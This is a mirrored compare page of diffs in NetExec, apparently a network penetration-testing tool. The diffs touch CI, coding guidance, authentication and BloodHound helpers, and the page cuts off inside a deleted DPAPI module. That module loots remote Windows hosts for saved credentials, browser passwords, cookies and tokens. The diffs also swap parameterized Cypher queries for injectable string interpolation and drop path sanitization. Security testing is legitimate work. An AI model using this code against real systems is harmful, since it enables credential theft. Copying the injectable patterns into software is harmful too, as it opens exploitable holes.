mirror of
https://github.com/Pennyw0rth/NetExec.git
synced 2026-11-08 10:09:50 -10:00
Compare commits
8
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
e78547d604 | ||
|
|
1b4817138b | ||
|
|
503164d565 | ||
|
|
2a60ab0bd5 | ||
|
|
2245f3ca01 | ||
|
|
2cfdbd1f97 | ||
|
|
47292c512c | ||
|
|
0806923cc5 |
No files matched your search
@@ -2,16 +2,10 @@
|
||||
Please include a summary of the change and which issue is fixed, or what the enhancement does.
|
||||
List any dependencies that are required for this change.
|
||||
|
||||
### AI Assistance
|
||||
If you have used AI in any form, please state the tool you used (e.g. Claude Code, Cursor, Amp) along with the extent that the work was AI-assisted.
|
||||
|
||||
Note that if you have used AI, you:
|
||||
- MUST test the changes against a live system
|
||||
- MUST include a screenshot of such a test (e.g. with a before and after screenshot when submitting a bug fix)
|
||||
- MUST fill out this PR template by hand, see the project's AI policy: [AI_POLICY.md](https://github.com/Pennyw0rth/NetExec/blob/main/AI_POLICY.md)
|
||||
If you have used AI in any form, please state the tool you used (e.g. Claude Code, Cursor, Amp) along with the extent that the work was AI-assisted. See the project's AI policy for more details: https://github.com/Pennyw0rth/NetExec/blob/main/AI_POLICY.md
|
||||
|
||||
## Type of change
|
||||
Insert an "x" inside the brackets for relevant items
|
||||
Insert an "x" inside the brackets for relevant items (do not delete options)
|
||||
|
||||
- [ ] Bug fix (non-breaking change which fixes an issue)
|
||||
- [ ] New feature (non-breaking change which adds functionality)
|
||||
@@ -22,8 +16,7 @@ Insert an "x" inside the brackets for relevant items
|
||||
- [ ] This PR was created with the assistance of AI (list what type of assistance, tool(s)/model(s) in the description)
|
||||
|
||||
## Setup guide for the review
|
||||
Please provide guidance on what setup is needed to test the introduced changes, such as the target(s) you tested against or software versions.
|
||||
|
||||
Please provide guidance on what setup is needed to test the introduced changes, such as your locally running machine Python version & OS, as well as the target(s) you tested against, including software versions.
|
||||
In particular:
|
||||
- Bug Fix: Please provide a short description on how to trigger the bug, to make the bug reproducable for the reviewer.
|
||||
- Added Feature/Enhancement: Please specify what setup is needed in order to test the changes, such as:
|
||||
|
||||
@@ -10,7 +10,7 @@ jobs:
|
||||
strategy:
|
||||
matrix:
|
||||
os: [ubuntu-latest, macOS-latest, windows-latest]
|
||||
python-version: ["3.11", "3.12", "3.13", "3.14"]
|
||||
python-version: ["3.10", "3.11", "3.12", "3.13", "3.14"]
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: NetExec set up python on ${{ matrix.os }}
|
||||
|
||||
@@ -14,7 +14,7 @@ jobs:
|
||||
max-parallel: 5
|
||||
matrix:
|
||||
os: [ubuntu-latest]
|
||||
python-version: ["3.11", "3.12", "3.13", "3.14"]
|
||||
python-version: ["3.10", "3.11", "3.12", "3.13", "3.14"]
|
||||
steps:
|
||||
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
|
||||
- name: Install uv
|
||||
|
||||
@@ -64,5 +64,3 @@ docs/_build/
|
||||
|
||||
# PyBuilder
|
||||
target/
|
||||
nxc/.DS_Store
|
||||
.DS_Store
|
||||
@@ -12,12 +12,6 @@
|
||||
- Do not prefix function or method names with underscores; preserve required Python special methods such as `__init__`.
|
||||
- Do not assume the host runs Linux; keep code and paths cross-platform unless the task explicitly targets one operating system.
|
||||
|
||||
# NetExec protocol structure
|
||||
|
||||
- Protocol implementations must follow the lifecycle defined by `proto_flow()` in `nxc/connection.py`.
|
||||
- Keep connection setup in `create_conn_obj()`, target enumeration in `enum_host_info()`, host information output in `print_host_info()`, authentication in the login methods, and cleanup in `disconnect()`.
|
||||
- Keep protocol-specific behavior in the appropriate lifecycle methods and let `proto_flow()` control their order and dispatch command arguments and modules.
|
||||
|
||||
# NetExec module structure
|
||||
|
||||
- In files under `nxc/modules/`, do not define variables, constants, or helper functions at module scope.
|
||||
@@ -42,7 +36,6 @@
|
||||
# Filesystem and source conventions
|
||||
|
||||
- Assume that the underlying operating system and its storage are fully secure. Files and other data produced by NetExec may intentionally contain readable plaintext credentials; do not add encryption, redaction, restrictive permission handling, or permission warnings unless explicitly requested.
|
||||
- Before opening, creating, writing, renaming, moving, or deleting a file or directory, sanitize every path component derived from untrusted data and verify that the resulting path cannot traverse outside its intended base directory.
|
||||
- Place every file and directory produced by NetExec under `NXC_PATH` by default, using `TMP_PATH` for temporary artifacts. An explicit user-provided output path or task requirement may override this default.
|
||||
- `NXC_PATH` defaults to `~/.nxc` but may be overridden by the environment. Import and use `NXC_PATH` or its derived path constants instead of hardcoding `~/.nxc`.
|
||||
- Place imports at the top of files unless explicitly instructed otherwise.
|
||||
@@ -13,7 +13,7 @@ clean:
|
||||
find . -name '.pytest_cache' -exec rm -rf {} +
|
||||
|
||||
tests:
|
||||
ruff check .
|
||||
flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics --exclude nxc/data/*
|
||||
|
||||
requirements:
|
||||
poetry export --without-hashes -f requirements.txt -o requirements.txt
|
||||
|
||||
+2
-13
@@ -32,12 +32,11 @@ a = Analysis(
|
||||
'impacket.dcerpc.v5.rprn',
|
||||
'impacket.dcerpc.v5.even',
|
||||
'impacket.dcerpc.v5.even6',
|
||||
'impacket.dcerpc.v5.tsts',
|
||||
'impacket.dpapi_ng',
|
||||
'impacket.tds',
|
||||
'impacket.version',
|
||||
'impacket.ldap.ldap',
|
||||
'impacket.krb5.kpasswd',
|
||||
'jwt',
|
||||
'nxc.connection',
|
||||
'nxc.protocols.smb.wmiexec',
|
||||
'nxc.protocols.smb.atexec',
|
||||
@@ -49,12 +48,9 @@ a = Analysis(
|
||||
'nxc.parsers.ldap_results',
|
||||
'nxc.helpers.bash',
|
||||
'nxc.helpers.bloodhound',
|
||||
'nxc.helpers.dpapi',
|
||||
'nxc.helpers.even6_parser',
|
||||
'nxc.helpers.firefox',
|
||||
'nxc.helpers.msada_guids',
|
||||
'nxc.helpers.negotiate_parser',
|
||||
'nxc.helpers.smb',
|
||||
'paramiko',
|
||||
'pefile',
|
||||
'pypsrp.client',
|
||||
@@ -88,16 +84,9 @@ a = Analysis(
|
||||
'dploot.triage.cng',
|
||||
'dploot.lib.target',
|
||||
'dploot.lib.smb',
|
||||
'dploot.lib.network.mssql',
|
||||
'dploot.lib.network.winrm',
|
||||
'dsinternals.common.cryptography.X509Certificate2',
|
||||
'dsinternals.common.data.DNWithBinary',
|
||||
'dsinternals.common.data.hello.KeyCredential',
|
||||
'dsinternals.system.DateTime',
|
||||
'dsinternals.system.Guid',
|
||||
'lxml.objectify',
|
||||
'pyasn1_modules.rfc5652',
|
||||
'unicrypto.backends.pycryptodomex',
|
||||
'dateutil.relativedelta',
|
||||
'sspilib.raw._text',
|
||||
],
|
||||
hookspath=['./nxc/.hooks'],
|
||||
|
||||
+41
-18
@@ -14,11 +14,15 @@ from socket import AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME, getaddrinfo
|
||||
|
||||
from nxc.config import pwned_label
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.loaders.moduleloader import ModuleLoader, ModuleOptionsError
|
||||
from nxc.logger import nxc_logger, NXCAdapter
|
||||
from nxc.context import Context
|
||||
from nxc.paths import NXC_PATH
|
||||
from nxc.protocols.ldap.laps import laps_search
|
||||
from nxc.helpers.pfx import pfx_auth
|
||||
|
||||
from impacket.dcerpc.v5 import transport
|
||||
from impacket.krb5.ccache import CCache
|
||||
|
||||
sem = BoundedSemaphore(1)
|
||||
fail_lock = Lock()
|
||||
@@ -96,6 +100,37 @@ def requires_admin(func):
|
||||
return wraps(func)(_decorator)
|
||||
|
||||
|
||||
def dcom_FirewallChecker(iInterface, remoteHost, timeout):
|
||||
stringBindings = iInterface.get_cinstance().get_string_bindings()
|
||||
for strBinding in stringBindings:
|
||||
if strBinding["wTowerId"] == 7:
|
||||
if strBinding["aNetworkAddr"].find("[") >= 0:
|
||||
binding, _, bindingPort = strBinding["aNetworkAddr"].partition("[")
|
||||
bindingPort = "[" + bindingPort
|
||||
else:
|
||||
binding = strBinding["aNetworkAddr"]
|
||||
bindingPort = ""
|
||||
|
||||
if binding.upper().find(iInterface.get_target().upper()) >= 0:
|
||||
stringBinding = "ncacn_ip_tcp:" + strBinding["aNetworkAddr"][:-1]
|
||||
break
|
||||
elif iInterface.is_fqdn() and binding.upper().find(iInterface.get_target().upper().partition(".")[0]) >= 0:
|
||||
stringBinding = f"ncacn_ip_tcp:{iInterface.get_target()}{bindingPort}"
|
||||
if "stringBinding" not in locals():
|
||||
return True, None
|
||||
try:
|
||||
rpctransport = transport.DCERPCTransportFactory(stringBinding)
|
||||
rpctransport.setRemoteHost(remoteHost)
|
||||
rpctransport.set_connect_timeout(timeout)
|
||||
rpctransport.connect()
|
||||
rpctransport.disconnect()
|
||||
except Exception as e:
|
||||
nxc_logger.debug(f"Exception while connecting to {stringBinding}: {e}")
|
||||
return False, stringBinding
|
||||
else:
|
||||
return True, stringBinding
|
||||
|
||||
|
||||
class connection:
|
||||
def __init__(self, args, db, target):
|
||||
self.args = args
|
||||
@@ -109,11 +144,9 @@ class connection:
|
||||
# Authentication info
|
||||
self.password = ""
|
||||
self.username = ""
|
||||
self.certificate_auth = bool(self.args.pfx_cert or self.args.pfx_base64 or self.args.pem_cert)
|
||||
self.kerberos = bool(self.args.kerberos or
|
||||
self.args.use_kcache or
|
||||
self.args.aesKey or
|
||||
(self.certificate_auth and not (self.protocol == "ldap" and self.args.schannel)) or # PKINIT yields a TGT, while Schannel binds the certificate to the LDAP channel itself
|
||||
(hasattr(self.args, "delegate") and self.args.delegate) or
|
||||
(hasattr(self.args, "generate_st") and self.args.generate_st) or
|
||||
(hasattr(self.args, "no_preauth_targets") and self.args.no_preauth_targets))
|
||||
@@ -121,7 +154,6 @@ class connection:
|
||||
self.use_kcache = None if not self.args.use_kcache else self.args.use_kcache
|
||||
self.admin_privs = False
|
||||
self.failed_logins = 0
|
||||
self.has_reusable_secret = not (self.protocol == "ldap" and self.args.schannel) # a Schannel bind authenticates the LDAP connection only, leaving no secret for a second channel
|
||||
|
||||
# Network info
|
||||
self.domain = None
|
||||
@@ -149,8 +181,6 @@ class connection:
|
||||
self.proto_flow()
|
||||
except FileNotFoundError as e:
|
||||
self.logger.error(f"File not found error on target {target}: {e}")
|
||||
except ConnectionRefusedError as e:
|
||||
self.logger.error(f"Target {target} refused the connection: {e}")
|
||||
except Exception as e:
|
||||
if "ERROR_DEPENDENT_SERVICES_RUNNING" in str(e):
|
||||
self.logger.error(f"Exception while calling proto_flow() on target {target}: {e}")
|
||||
@@ -219,13 +249,13 @@ class connection:
|
||||
|
||||
# Construct the output file template using os.path.join for OS compatibility
|
||||
base_log_dir = os.path.join(NXC_PATH, "logs")
|
||||
filename_pattern = sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}", max_bytes=220)
|
||||
filename_pattern = f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
|
||||
self.output_file_template = os.path.join(base_log_dir, "{output_folder}", filename_pattern)
|
||||
# Default output filename for logs
|
||||
self.output_filename = os.path.join(base_log_dir, filename_pattern)
|
||||
|
||||
self.print_host_info()
|
||||
if self.login() or (self.username == "" and self.password == "" and self.protocol != "mssql" and not self.certificate_auth): # a failed certificate auth is not a null session
|
||||
if self.login() or (self.username == "" and self.password == "" and self.protocol != "mssql"):
|
||||
self.logger.debug("Calling command arguments")
|
||||
self.call_cmd_args()
|
||||
if self.args.module:
|
||||
@@ -527,29 +557,22 @@ class connection:
|
||||
if self.args.use_kcache:
|
||||
self.logger.debug("Trying to authenticate using Kerberos cache")
|
||||
with sem:
|
||||
from impacket.krb5.ccache import CCache
|
||||
username = self.args.username[0] if len(self.args.username) else CCache.parseFile()[1]
|
||||
password = self.args.password[0] if len(self.args.password) else ""
|
||||
self.kerberos_login(self.domain, username, password, "", "", self.kdcHost, True)
|
||||
self.logger.info("Successfully authenticated using Kerberos cache")
|
||||
return True
|
||||
|
||||
if self.certificate_auth:
|
||||
if self.args.pfx_cert or self.args.pfx_base64 or self.args.pem_cert:
|
||||
self.logger.debug("Trying to authenticate using Certificate pfx")
|
||||
if self.args.protocol == "ldap" and self.args.schannel:
|
||||
# Schannel maps the certificate to an account server-side, so the supplied username is ignored
|
||||
with sem:
|
||||
return self.plaintext_login(self.domain, "", "")
|
||||
if not username:
|
||||
if not self.args.username:
|
||||
self.logger.fail("You must specify a username when using certificate authentication")
|
||||
return False
|
||||
with sem:
|
||||
from nxc.helpers.pfx import pfx_auth
|
||||
return pfx_auth(self, domain[0], username[0])
|
||||
return pfx_auth(self)
|
||||
|
||||
if hasattr(self.args, "laps") and self.args.laps:
|
||||
self.logger.debug("Trying to authenticate using LAPS")
|
||||
from nxc.protocols.ldap.laps import laps_search
|
||||
username[0], secret[0], domain[0] = laps_search(self, username, secret, cred_type, domain, self.dns_server)
|
||||
cred_type = ["plaintext"]
|
||||
if not (username[0] or secret[0] or domain[0]):
|
||||
|
||||
@@ -43,7 +43,7 @@ def add_user_bh(user, domain, logger, config):
|
||||
with driver.session().begin_transaction() as tx:
|
||||
for user_info in users_owned:
|
||||
distinguished_name = "".join([f"DC={dc}," for dc in user_info["domain"].split(".")]).rstrip(",")
|
||||
domain_query = tx.run("MATCH (d:Domain) WHERE d.distinguishedname STARTS WITH $distinguished_name RETURN d", distinguished_name=distinguished_name).data()
|
||||
domain_query = tx.run(f"MATCH (d:Domain) WHERE d.distinguishedname STARTS WITH '{distinguished_name}' RETURN d").data()
|
||||
if not domain_query:
|
||||
logger.debug(f"Domain {user_info['domain']} not found in BloodHound. Falling back to domainless query.")
|
||||
_add_without_domain(user_info, tx, logger)
|
||||
@@ -68,14 +68,14 @@ def _add_with_domain(user_info, domain, tx, logger):
|
||||
user_owned = f"{user_info['username']}@{domain}"
|
||||
account_type = "User"
|
||||
|
||||
result = tx.run(f"MATCH (c:{account_type} {{name: $user_owned}}) RETURN c", user_owned=user_owned).data()
|
||||
result = tx.run(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) RETURN c").data()
|
||||
|
||||
if len(result) == 0:
|
||||
logger.fail("Account not found in the BloodHound database.")
|
||||
return
|
||||
if result[0]["c"].get("owned") in (False, None):
|
||||
logger.debug(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) SET c.owned=True RETURN c.name AS name")
|
||||
result = tx.run(f"MATCH (c:{account_type} {{name: $user_owned}}) SET c.owned=True RETURN c.name AS name", user_owned=user_owned).data()[0]
|
||||
result = tx.run(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) SET c.owned=True RETURN c.name AS name").data()[0]
|
||||
logger.highlight(f"Node {result['name']} successfully set as owned in BloodHound")
|
||||
|
||||
|
||||
@@ -87,7 +87,7 @@ def _add_without_domain(user_info, tx, logger):
|
||||
user_owned = user_info["username"]
|
||||
account_type = "User"
|
||||
|
||||
result = tx.run(f"MATCH (c:{account_type}) WHERE c.name STARTS WITH $user_owned RETURN c", user_owned=user_owned).data()
|
||||
result = tx.run(f"MATCH (c:{account_type}) WHERE c.name STARTS WITH '{user_owned}' RETURN c").data()
|
||||
|
||||
if len(result) == 0:
|
||||
logger.fail("Account not found in the BloodHound database.")
|
||||
@@ -97,5 +97,5 @@ def _add_without_domain(user_info, tx, logger):
|
||||
return
|
||||
elif result[0]["c"].get("owned") in (False, None):
|
||||
logger.debug(f"MATCH (c:{account_type} {{name:'{result[0]['c']['name']}'}}) SET c.owned=True RETURN c.name AS name")
|
||||
result = tx.run(f"MATCH (c:{account_type} {{name: $user_owned}}) SET c.owned=True RETURN c.name AS name", user_owned=result[0]["c"]["name"]).data()[0]
|
||||
result = tx.run(f"MATCH (c:{account_type} {{name:'{result[0]['c']['name']}'}}) SET c.owned=True RETURN c.name AS name").data()[0]
|
||||
logger.highlight(f"Node {result['name']} successfully set as owned in BloodHound")
|
||||
@@ -1,461 +0,0 @@
|
||||
|
||||
from dploot.lib.network.smb import SMBTarget, DPLootSMBConnection
|
||||
from dploot.lib.target import Target
|
||||
from dploot.triage.backupkey import BackupkeyTriage
|
||||
from dploot.triage.browser import BrowserTriage, LoginData, GoogleRefreshToken, Cookie
|
||||
from dploot.triage.cng import CngTriage
|
||||
from dploot.triage.credentials import CredentialsTriage
|
||||
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file, Masterkey
|
||||
from dploot.triage.sccm import SCCMTriage, SCCMCred, SCCMSecret, SCCMCollection
|
||||
from dploot.triage.vaults import VaultsTriage
|
||||
|
||||
from nxc.helpers.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
|
||||
from nxc.helpers.logger import highlight
|
||||
|
||||
|
||||
def upgrade_to_dploot_connection(target, connection):
|
||||
"""
|
||||
DPLootConnection classes implements a whole lot of stuff to handle the DPAPI part.
|
||||
This function gets the calling NXC protocol and tries reuse the already opened connection
|
||||
on DPLoot directly. If not it opens up a new connection.
|
||||
"""
|
||||
conn = None
|
||||
protocol = target.protocol
|
||||
try:
|
||||
match protocol:
|
||||
case "smb":
|
||||
from dploot.lib.network.smb import DPLootSMBConnection
|
||||
conn = DPLootSMBConnection(target)
|
||||
if connection is not None:
|
||||
conn.smb_session = connection.conn
|
||||
else:
|
||||
conn.connect()
|
||||
case "wmi":
|
||||
from dploot.lib.network.wmi import DPLootWMIConnection
|
||||
conn = DPLootWMIConnection(target)
|
||||
if connection is not None:
|
||||
conn.dcom = connection.dcom_conn
|
||||
conn.iWbemLevel1Login = connection.iWbemLevel1Login
|
||||
else:
|
||||
conn.connect()
|
||||
case "winrm":
|
||||
from dploot.lib.network.winrm import DPLootWINRMConnection
|
||||
conn = DPLootWINRMConnection(target)
|
||||
if connection is not None:
|
||||
conn.conn = connection.conn
|
||||
else:
|
||||
conn.connect()
|
||||
case "mssql":
|
||||
from dploot.lib.network.mssql import DPLootMSSQLConnection
|
||||
conn = DPLootMSSQLConnection(target)
|
||||
if connection is not None:
|
||||
conn.conn = connection.conn
|
||||
except Exception as e:
|
||||
connection.logger.debug(e)
|
||||
return None
|
||||
|
||||
return conn
|
||||
|
||||
|
||||
class DPAPITriage:
|
||||
"""
|
||||
DPAPI engine in NetExec. Each protocol supporting DPAPI needs to implement this class.
|
||||
Since multiple NXC functionalities now implements DPAPI related secret recovery, this class aims to centralize
|
||||
it in order to ease implemented and maintaining DPAPI functionalities is NXC protocols, but also
|
||||
to avoid dumping masterkeys X times from the same target, loading the domain backup keys X times, etc.
|
||||
|
||||
To implement this class in a protocol, use a @property decorator on dpapi_triage like so:
|
||||
|
||||
```
|
||||
@property
|
||||
def dpapi_triage(self) -> DPAPITriage:
|
||||
if self._dpapi_triage is not None:
|
||||
return self._dpapi_triage
|
||||
target = <dploot target creation>
|
||||
|
||||
self._dpapi_triage = DPAPITriage(self, target)
|
||||
return self._dpapi_triage
|
||||
```
|
||||
|
||||
This way, every DPAPI related module will automaticaly work with the protocol
|
||||
|
||||
"""
|
||||
def __init__(self, connection, target: Target):
|
||||
self.connection = connection
|
||||
self.target = target
|
||||
|
||||
self.conn = None
|
||||
self.dump_cookies = False
|
||||
self.masterkeys = []
|
||||
self._pvkbytes = None
|
||||
|
||||
# Keep track of writing secrets in file
|
||||
self.output_file = self.connection.output_file_template.format(output_folder="dpapi")
|
||||
self.secrets_counter = 0
|
||||
|
||||
if connection.args.dpapi is not None:
|
||||
self.dump_cookies = "cookies" in connection.args.dpapi
|
||||
|
||||
# Variables to know what materkey types have already been dumped
|
||||
self.system_masterkeys_already_dumped = False
|
||||
self.users_masterkeys_already_dumped = False
|
||||
|
||||
# Initialize the connection here, if you need this class then you will need the connection
|
||||
self.init_connection()
|
||||
|
||||
def __del__(self):
|
||||
# When everything is finished, then we give the feedback to the user
|
||||
if self.output_file is not None and self.secrets_counter > 0:
|
||||
self.connection.logger.success(f"Dumped {highlight(self.secrets_counter)} DPAPI secrets to {self.output_file}")
|
||||
|
||||
def log_secret(self, line, logger=None):
|
||||
# Handle the secret counter here, avoid to handle it in multiple places
|
||||
if logger is None:
|
||||
logger = self.connection.logger
|
||||
logger.highlight(line)
|
||||
with open(self.output_file, "a", encoding="utf-8") as fd:
|
||||
self.secrets_counter += 1
|
||||
fd.write(line + "\n")
|
||||
|
||||
def init_connection(self):
|
||||
"""Tries to initiate a DPLootConnection object from a NXC connection"""
|
||||
if self.conn is not None:
|
||||
self.connection.logger.debug("DPLoot connection already initiated, skipping.")
|
||||
return
|
||||
self.conn = upgrade_to_dploot_connection(connection=self.connection, target=self.target)
|
||||
if self.conn is None:
|
||||
self.connection.logger.fail("Could not upgrade connection to allow DPAPI triage")
|
||||
return
|
||||
|
||||
def collect_masterkeys_from_target(self, dump_users: True, dump_system: False):
|
||||
"""
|
||||
Get and decrypt masterkeys from the target.
|
||||
dump_users: If True, then user masterkeys will be collected if they have not already been
|
||||
dump_system: If True, then system masterkeys will be collected if they have not already been
|
||||
"""
|
||||
# If we have already dumped everything, then we won't find new stuff
|
||||
if self.users_masterkeys_already_dumped and self.system_masterkeys_already_dumped:
|
||||
return self.masterkeys
|
||||
|
||||
masterkeys = []
|
||||
plaintexts = {}
|
||||
nthashes = {}
|
||||
|
||||
# First, check and handle the mkfile arg
|
||||
if self.connection.args.mkfile is not None:
|
||||
try:
|
||||
masterkeys += parse_masterkey_file(self.connection.args.mkfile)
|
||||
except Exception as e:
|
||||
self.connection.logger.fail(str(e))
|
||||
|
||||
# Then, use nxcdb to fill wordlists, this can help to decrypt some masterkeys
|
||||
if dump_users:
|
||||
users = self.conn.list_users()
|
||||
plaintexts = {username: password for _, _, username, password, _, _ in self.connection.db.get_credentials_for_users(usernames=users, cred_type="plaintext")}
|
||||
nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in self.connection.db.get_credentials_for_users(usernames=users, cred_type="hash")}
|
||||
# dploot matches user.lower()
|
||||
if self.connection.password != "":
|
||||
plaintexts[self.connection.username.lower()] = self.connection.password
|
||||
if self.connection.nthash != "":
|
||||
nthashes[self.connection.username.lower()] = self.connection.nthash
|
||||
|
||||
# Now prepare the SYSTEM part
|
||||
if (dump_system
|
||||
and self.connection.dpapi_system_key is None
|
||||
and hasattr(self.connection, "lsa")
|
||||
and callable(self.connection.lsa)):
|
||||
# We can use the protocol specific LSA dump if not already dumped.
|
||||
# But first, just making sure the protocol supports LSA dump :)
|
||||
self.connection.logger.display("Dumping LSA secrets to get DPAPI SYSTEM keys")
|
||||
self.connection.lsa(quiet=True)
|
||||
if self.connection.dpapi_system_key is not None:
|
||||
self.connection.logger.highlight(f"dpapi_machinekey:{self.connection.dpapi_system_key['MachineKey'].hex()}")
|
||||
self.connection.logger.highlight(f"dpapi_userkey:{self.connection.dpapi_system_key['UserKey'].hex()}")
|
||||
else:
|
||||
self.connection.logger.fail("Could not get DPAPI SYSTEM keys")
|
||||
|
||||
# Invoke MasterkeyTriage class
|
||||
try:
|
||||
masterkeys_triage = MasterkeysTriage(
|
||||
target=self.target,
|
||||
conn=self.conn,
|
||||
pvkbytes=self.pvkbytes,
|
||||
passwords=plaintexts,
|
||||
nthashes=nthashes,
|
||||
dpapiSystem=self.connection.dpapi_system_key,
|
||||
)
|
||||
self.connection.logger.debug(f"Masterkeys Triage: {masterkeys_triage}")
|
||||
|
||||
# Collect User Masterkeys if this has not already been done
|
||||
if dump_users and not self.users_masterkeys_already_dumped:
|
||||
self.connection.logger.display("Collecting DPAPI Users masterkeys")
|
||||
masterkeys += masterkeys_triage.triage_masterkeys()
|
||||
# if multiple functionalities are calling masterkeys triage, make sur we do it only once
|
||||
self.users_masterkeys_already_dumped = True
|
||||
|
||||
# Collect SYSTEM Masterkeys if this has not already been done
|
||||
if self.connection.dpapi_system_key is not None and not self.system_masterkeys_already_dumped:
|
||||
self.connection.logger.display("Collecting DPAPI SYSTEM masterkeys")
|
||||
masterkeys += masterkeys_triage.triage_system_masterkeys()
|
||||
# if multiple functionalities are calling masterkeys triage, make sur we do it only once
|
||||
self.system_masterkeys_already_dumped = True
|
||||
except Exception as e:
|
||||
self.connection.logger.debug(f"Could not get masterkeys: {e}")
|
||||
self.masterkeys += masterkeys
|
||||
# If we decrypted new masterkeys, print the message
|
||||
if len(masterkeys) > 0:
|
||||
self.connection.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. ")
|
||||
return self.masterkeys
|
||||
|
||||
def triage_credentials(self, masterkeys: list[Masterkey]):
|
||||
# Collect User and Machine Credentials Manager secrets
|
||||
|
||||
def credential_callback(credential):
|
||||
tag = "CREDENTIAL"
|
||||
line = f"[{credential.winuser}][{tag}] {credential.target} - {credential.username}:{credential.password}"
|
||||
self.log_secret(line)
|
||||
self.connection.db.add_dpapi_secrets(
|
||||
self.target.address,
|
||||
tag,
|
||||
credential.winuser,
|
||||
credential.username,
|
||||
credential.password,
|
||||
credential.target,
|
||||
)
|
||||
|
||||
try:
|
||||
credentials_triage = CredentialsTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_credential_callback=credential_callback)
|
||||
self.connection.logger.debug(f"Credentials Triage Object: {credentials_triage}")
|
||||
credentials_triage.triage_credentials()
|
||||
credentials_triage.triage_system_credentials()
|
||||
except Exception as e:
|
||||
self.connection.logger.debug(f"Error while looting credentials: {e}")
|
||||
|
||||
def triage_chromium(self, masterkeys: list[Masterkey]):
|
||||
cng_chromekey = None
|
||||
# We need the CNG triage to recover Chrome passwords since Chrome v137
|
||||
try:
|
||||
cng_triage = CngTriage(target=self.target, conn=self.conn, masterkeys=masterkeys)
|
||||
for cng_file in cng_triage.triage_system_cng():
|
||||
if cng_file.cng_blob["Name"].decode("utf-16le").rstrip("\0") == "Google Chromekey1":
|
||||
self.connection.logger.debug("Found CNG Google ChromeKey1\n")
|
||||
cng_chromekey = cng_file.decrypted_private_key
|
||||
except Exception as e:
|
||||
self.connection.logger.debug(f"Error while getting CNG ChromeKey1: {e}")
|
||||
|
||||
# Collect Chrome Based Browser stored secrets
|
||||
def browser_callback(secret):
|
||||
if isinstance(secret, LoginData):
|
||||
secret_url = secret.url + " -" if secret.url != "" else "-"
|
||||
line = f"[{secret.winuser}][{secret.browser.upper()}] {secret_url} {secret.username}:{secret.password}"
|
||||
self.log_secret(line)
|
||||
self.connection.db.add_dpapi_secrets(
|
||||
self.target.address,
|
||||
secret.browser.upper(),
|
||||
secret.winuser,
|
||||
secret.username,
|
||||
secret.password,
|
||||
secret.url,
|
||||
)
|
||||
elif isinstance(secret, GoogleRefreshToken):
|
||||
line = f"[{secret.winuser}][{secret.browser.upper()}] Google Refresh Token: {secret.service}:{secret.token}"
|
||||
self.log_secret(line)
|
||||
self.connection.db.add_dpapi_secrets(
|
||||
self.target.address,
|
||||
secret.browser.upper(),
|
||||
secret.winuser,
|
||||
secret.service,
|
||||
secret.token,
|
||||
"Google Refresh Token",
|
||||
)
|
||||
elif isinstance(secret, Cookie):
|
||||
line = f"[{secret.winuser}][{secret.browser.upper()}] {secret.host}{secret.path} - {secret.cookie_name}:{secret.cookie_value}"
|
||||
self.log_secret(line)
|
||||
|
||||
try:
|
||||
browser_triage = BrowserTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_secret_callback=browser_callback)
|
||||
browser_triage.triage_browsers(gather_cookies=self.dump_cookies, cng_chromekey=cng_chromekey)
|
||||
except Exception as e:
|
||||
self.connection.logger.debug(f"Error while looting browsers: {e}")
|
||||
|
||||
def triage_vaults(self, masterkeys: list[Masterkey]):
|
||||
def vault_callback(secret):
|
||||
tag = "IEX"
|
||||
if secret.type == "Internet Explorer":
|
||||
resource = secret.resource + " -" if secret.resource != "" else "-"
|
||||
line = f"[{secret.winuser}][{tag}] {resource} - {secret.username}:{secret.password}"
|
||||
self.log_secret(line)
|
||||
self.connection.db.add_dpapi_secrets(
|
||||
self.target.address,
|
||||
tag,
|
||||
secret.winuser,
|
||||
secret.username,
|
||||
secret.password,
|
||||
secret.resource,
|
||||
)
|
||||
|
||||
try:
|
||||
# Collect User Internet Explorer stored secrets
|
||||
vaults_triage = VaultsTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_vault_callback=vault_callback)
|
||||
vaults_triage.triage_vaults()
|
||||
except Exception as e:
|
||||
self.connection.logger.debug(f"Error while looting vaults: {e}")
|
||||
|
||||
def triage_firefox(self):
|
||||
def firefox_callback(secret):
|
||||
tag = "FIREFOX"
|
||||
if isinstance(secret, FirefoxData):
|
||||
url = secret.url + " -" if secret.url != "" else "-"
|
||||
line = f"[{secret.winuser}][{tag}] {url} {secret.username}:{secret.password}"
|
||||
self.log_secret(line)
|
||||
self.connection.db.add_dpapi_secrets(
|
||||
self.target.address,
|
||||
tag,
|
||||
secret.winuser,
|
||||
secret.username,
|
||||
secret.password,
|
||||
secret.url,
|
||||
)
|
||||
elif isinstance(secret, FirefoxCookie):
|
||||
line = f"[{secret.winuser}][{tag}] {secret.host}{secret.path} {secret.cookie_name}:{secret.cookie_value}"
|
||||
self.log_secret(line)
|
||||
|
||||
try:
|
||||
# Collect Firefox stored secrets
|
||||
firefox_triage = FirefoxTriage(target=self.target, logger=self.connection.logger, conn=self.conn, per_secret_callback=firefox_callback)
|
||||
firefox_triage.run(gather_cookies=self.dump_cookies)
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error while looting firefox: {e}")
|
||||
|
||||
# The dpapi function for every protocol
|
||||
def triage_dpapi(self):
|
||||
# Load masterkeys
|
||||
masterkeys = self.collect_masterkeys_from_target(dump_users=True, dump_system="nosystem" not in self.connection.args.dpapi)
|
||||
if len(masterkeys) == 0:
|
||||
